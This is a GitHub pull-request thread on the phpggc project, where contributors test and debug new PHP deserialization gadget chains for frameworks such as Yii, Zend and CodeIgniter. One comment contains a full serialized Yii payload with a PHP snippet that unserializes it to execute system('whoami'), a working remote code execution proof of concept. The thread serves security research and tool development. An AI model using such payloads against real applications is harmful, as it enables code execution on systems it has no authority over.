add some gadget chains that I had collected by CyanM0un · Pull Request #160 · ambionics/phpggc

CyanM0un · 2023-09-15T15:43:11Z

Hi,
I sorted out a few gadget chains of some frameworks. I have manually checked all of them and some of them have passed the test-gc-compatibility script, which I have modified the corresponding version range in the chain.php.
It seems like no small work for both of us :)

cfreal · 2023-09-16T09:07:57Z

Hello CyanM0un,

That's amazing work ! I'll try and integrate it in the upcoming weeks, as you have said it is a lot of work :)

Hello,

Still haven't had time to check this amazing work. Will do in the upcoming weeks !

Hello,

I have started working on your GCs, CyanM0un. Every ZendFramework payloads works except for the FI1:

Any ideas why ?

CyanM0un · 2024-03-27T01:26:25Z

Oh, in the last gadget class (Zend_Loader_PluginLoader), the function load will append a '.php' suffix to the file path, so '/tmp/phpggc110c813231d70d6d47e543bc48d27d69254966a5' may not be found.

maybe we should specify that the chain only include arbitrary PHP file

cfreal · 2024-03-27T08:21:48Z

Ok, fixed for Zend. Yii2 GCs work as well. Now, Yii/RCE3 tries to use PHPUnit_Extensions_Selenium2TestCase_Session, which is NOT included in the Yii 1.1.20 distribution.

CyanM0un · 2024-03-27T09:33:21Z

I used the command composer create-project yiisoft/yii=1.1.20 yii1 to create the project for finding GCs. To be honest, I am a little confused about the difference and what the standard way may be. Kindly request your opinion :)

cfreal · 2024-03-27T09:43:44Z

Ok, I used the package present in their github repository.

Do you by any chance still have your vendor/composer/installed.json?
Now that I use your procedure, I get:

$ composer create-project yiisoft/yii=1.1.20 yii1
... blabla success
$ cd yii1
$ php7.4 /tools/web/php/phpggc/phpggc Yii/RCE3 --test-payload

CyanM0un · 2024-03-27T11:13:33Z

I don't think that's the problem ... I test it right now using the package and it worked, eg:

<?php
include("./vendor/autoload.php");
include("./framework/YiiBase.php");
$poc = "O%3A11%3A%22CDbCriteria%22%3A1%3A%7Bs%3A6%3A%22params%22%3BO%3A12%3A%22CMapIterator%22%3A3%3A%7Bs%3A16%3A%22%00CMapIterator%00_d%22%3BO%3A5%3A%22CForm%22%3A1%3A%7Bs%3A16%3A%22%00CForm%00_elements%22%3BO%3A44%3A%22PHPUnit_Extensions_Selenium2TestCase_Session%22%3A3%3A%7Bs%3A11%3A%22%00%2A%00commands%22%3Ba%3A1%3A%7Bs%3A6%3A%22itemAt%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A6%3A%22%00%2A%00url%22%3BO%3A40%3A%22PHPUnit_Extensions_Selenium2TestCase_URL%22%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00driver%22%3BO%3A23%3A%22DocBlox_Parallel_Worker%22%3A0%3A%7B%7D%7D%7Ds%3A19%3A%22%00CMapIterator%00_keys%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A18%3A%22%00CMapIterator%00_key%22%3Bs%3A6%3A%22whoami%22%3B%7D%7D";
unserialize(urldecode($poc)); // system('whoami')

the error was triggered in the PHPUnit_Extensions_Selenium2TestCase_Session#__destruct() progress, however the GC's function call should be triggered and finished in the CDbCriteria#__wakeup() progress, DocBlox_Parallel_Worker doesn't have the curl function because in the gadgets.php I simply pick up a class (DocBlox_Parallel_Worker) and assign it to the driver field of PHPUnit_Extensions_Selenium2TestCase_Session, which seems should not influence the command execution

cfreal · 2024-03-27T12:05:20Z

Ok, I was missing the YiiBase import :) Making progress!

Indeed a mount of work. 😂 Best respect for you

Hello @CyanM0un !

I am back to process a few more GCs. In CI4, RCE7, you use \Symfony\Component\HttpFoundation\Request, which does not seem to be included in the standard distribution of the framework. I tried:

$ composer create-project codeigniter4/appstarter=4.1.3 hello123

and

$ wget https://github.com/codeigniter4/framework/archive/refs/tags/v4.1.3.zip

Any ideas?

Gelf\Message is not present.

again by composer create-project monolog/monolog=2.0.0 monolog, in fact, a class that has the getTimestamp method will be ok

Same: by default, create-projecŧ seems to include dev dependencies, while install does NOT.
We have generally refrained from including dev dependencies to GCs, as they are not often included.

Class missing after: composer require friendsofphp/php-cs-fixer=2.17.3

still by composer create-project friendsofphp/php-cs-fixer=2.17.3 phpcsfixer. I want to clarify that I'm not really that familiar with php development myself, so I'm not quite sure what the differences are between these building ways.

keradus is included as a require-dev dependency of php-cs-fixer, which is why I couldn't see it. It generally will not be present.

Uncaught Error: Invalid or uninitialized XMLWriter object in .../vendor/phpunit/php-code-coverage/src/Report/Xml/Coverage.php:62

I am also confused, this gadget works well in my computer. In fact, look at the __construct code:

public function __construct(DOMElement $context, string $line) { $this->contextNode = $context; $this->writer = new XMLWriter; $this->writer->openMemory(); ...... }

I can't figure out how this will happen ...

What's your PHP version? It looks like it is due to deserialisation.

PHP 7.4.3 (cli) (built: Feb 18 2020 17:29:57) ( NTS Visual C++ 2017 x64 )

I used the second way, however, after I get the source code I usually use the command composer install to do the initialization, so \Symfony\Component\HttpFoundation\Request will be concluded.

CyanM0un · 2024-07-31T13:59:05Z

Finally, thank you very much for your continued contact. I also admire your work on Iconv, set the charset to RCE!
(Actually, all these gadget chains I have pulled requests were discovered by our automation tool. I personally think it works very well and I wonder if you could help promote it when we open-source it hahaha :)
